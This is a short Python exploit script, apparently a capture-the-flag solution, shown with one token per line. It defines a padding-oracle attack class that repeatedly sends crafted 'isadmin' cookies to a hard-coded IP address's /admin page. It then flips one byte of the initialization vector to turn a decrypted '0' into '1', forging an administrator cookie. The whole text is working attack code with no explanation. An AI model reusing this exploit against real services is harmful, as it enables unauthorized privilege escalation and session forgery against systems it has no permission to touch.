import
binascii
import
requests
from
paddingoracle
import
PaddingOracle, BadPaddingException
class
PadBuster(PaddingOracle):
def
__init__(
self
, session: requests.Session, wait:
float
=
0.1
,
*
*
kwargs):
super
(PadBuster,
self
).__init__(
*
*
kwargs)
self
.session
=
session
self
.wait
=
wait
def
oracle(
self
, data,
*
*
kwargs):
token
=
binascii.hexlify(data).decode()
resp
=
None
while
True
:
try
:
resp
=
self
.session.get(
'http://150.158.18.137:5329/admin'
, cookies
=
{
'isadmin'
: token
})
break
except
requests.HTTPError:
continue
self
.history.append(resp)
if
'Decrypt error'
not
in
resp.text:
return
else
:
raise
BadPaddingException
sess
=
requests.session()
pad_buster
=
PadBuster(sess)
ct
=
binascii.unhexlify(
'b60bdcada90e7c628b68d0ed965363858dc1695757156638e9b86ac59c99e7c2'
)
print
(
len
(ct))
print
(ct)
iv
=
bytearray(ct[:
16
])
iv[
10
]
=
iv[
10
] ^
ord
(
'0'
) ^
ord
(
'1'
)
print
(binascii.hexlify(bytes(iv)
+
ct[
16
:]))